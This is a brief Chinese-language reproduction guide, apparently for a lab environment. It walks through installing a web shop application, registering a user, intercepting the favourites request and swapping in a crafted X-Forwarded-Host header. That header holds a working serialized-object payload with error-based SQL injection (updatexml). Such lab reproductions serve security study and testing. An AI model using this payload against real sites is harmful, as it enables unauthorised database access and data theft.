拉取环境
访问页面
一直往下进行直至完成安装
数据库账户密码 root/root
注册一个用户
然后点击用户中心我的收藏抓包
修改payload
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953auser_account|a:2:{s:7:"user_id";s:38:"0'-(updatexml(1,repeat(user(),2),1))-'";s:7:"payment";s:1:"4";}|45ea207d7a2b68c49582d2d22adf953a
即可